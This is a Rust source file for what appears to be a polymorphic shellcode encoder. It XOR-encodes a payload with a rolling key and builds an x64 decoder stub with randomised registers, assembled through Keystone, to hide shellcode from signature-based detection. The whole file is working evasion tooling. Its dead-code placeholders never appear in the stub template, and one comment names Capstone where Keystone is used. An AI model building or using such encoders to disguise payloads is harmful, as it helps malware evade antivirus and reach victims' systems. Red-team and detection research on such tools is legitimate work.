use keystone::*;

use crate::cpu_data::x64;

/// Generates a decoder stub, each with using different registers
pub fn get_decoder_stub(seed: u8, payload_size: usize) -> Vec<u8> {

    // Maintain a blacklist for all the registers that are already used
    let mut blacklist: Vec<x64::Register> = vec![x64::Register::RSP, x64::Register::RBP, x64::Register::RDI];

    // generate a register for the COUNTER & add it to the blacklist
    let counter_register = x64::get_random_reg(&blacklist);
    blacklist.push(counter_register.register);

    // generate a register for the length of the payload
    let length_register = x64::get_random_reg(&blacklist);
    blacklist.push(length_register.register);

    // generate a register for the key of the payload (byte)
    let key_register = x64::get_random_reg(&blacklist);
    blacklist.push(key_register.register);
    //let key_register = key_register.byte;

    let dc1 = x64::generate_dead_code();
    let dc2 = x64::generate_dead_code();

    // Stub Prototype for x64
    let stub = "
    XOR {LENREG}, {LENREG}\n\
    XOR {KEYREG}, {KEYREG}\n\
    MOV {KEYREG},{K}\n\
    XOR {COUNTER}, {COUNTER}\n\
    MOV {LENREG},{S}\n\
    LEA RDI,[RIP+data]\n\
    decode:\n\
	XOR BYTE [RDI+{COUNTER}*1],{KEYREG}\n\
        MOV {KEYREG}, [RDI+{COUNTER}*1]\n\
        INC {COUNTER}\n\
        CMP {COUNTER}, {LENREG}\n\
	JLE decode\n\
    data:";

    // Replace the registers/keys/sizes to achieve a unique stub
    let stub = stub.replace("{KEYREG}", &key_register.byte);
    let stub = stub.replace("{COUNTER}", &counter_register.full);
    let stub = stub.replace("{LENREG}", &length_register.full);
    let stub = stub.replace("{K}", &format!("0x{:x}", seed));
    let stub = stub.replace("{S}", &format!("0x{:x}", payload_size));
    let stub = stub.replace("{DEAD_CODE_1}", &dc1);
    let stub = stub.replace("{DEAD_CODE_2}", &dc2);

    // return the stub string
    return assemble_asm(String::from(stub), OptionValue::SYNTAX_NASM).unwrap();
}



/// The function uses capstone to assemble the stub and retrieve the raw bytes
pub fn assemble_asm(stub: String, asm_syntax: OptionValue) -> Result<Vec<u8>, keystone::Error>  {

    let engine = Keystone::new(Arch::X86, Mode::MODE_64)
                .expect("Could not initialize Keystone engine");

    engine.option(OptionType::SYNTAX, asm_syntax)
                .expect("Could not set option to nasm syntax");

    // Assemble the stub and return the bytes
    let result = match engine.asm(stub, 0) {
        Ok(v) => Ok(v.bytes),
        Err(msg) => {
            Err(msg)
        }
    };

    return result;
}

/// This function does the plain shellcode encoding (XOR)
pub fn encode(payload: Vec<u8>, seed: u8) -> Vec<u8> {

    // Buffer for the encoded payload
    let mut encoded_payload: Vec<u8> = Vec::new();
    let mut key = seed;

    for byte in payload {
        let new_byte = byte ^ key;
        //println!("Original Byte: 0x{:x}", byte);
        encoded_payload.push(new_byte);
        key = byte;
    }

    encoded_payload
}


/// This is the corresponding `decoder()`. This function is implemented
/// in the decoder stub
#[allow(dead_code)]
fn decode(payload: Vec<u8>, seed: u8) -> Vec<u8> {

    let mut decoded_payload:  Vec<u8> = Vec::new();

    // initialize the key
    let mut key = seed;

    for byte in payload {
        let orig_byte = byte ^ key;
        println!("0x{:x} ^ 0x{:x} -> 0x{:x}", byte, key, orig_byte);
        decoded_payload.push(orig_byte);
        key = orig_byte;
    }

    decoded_payload
}

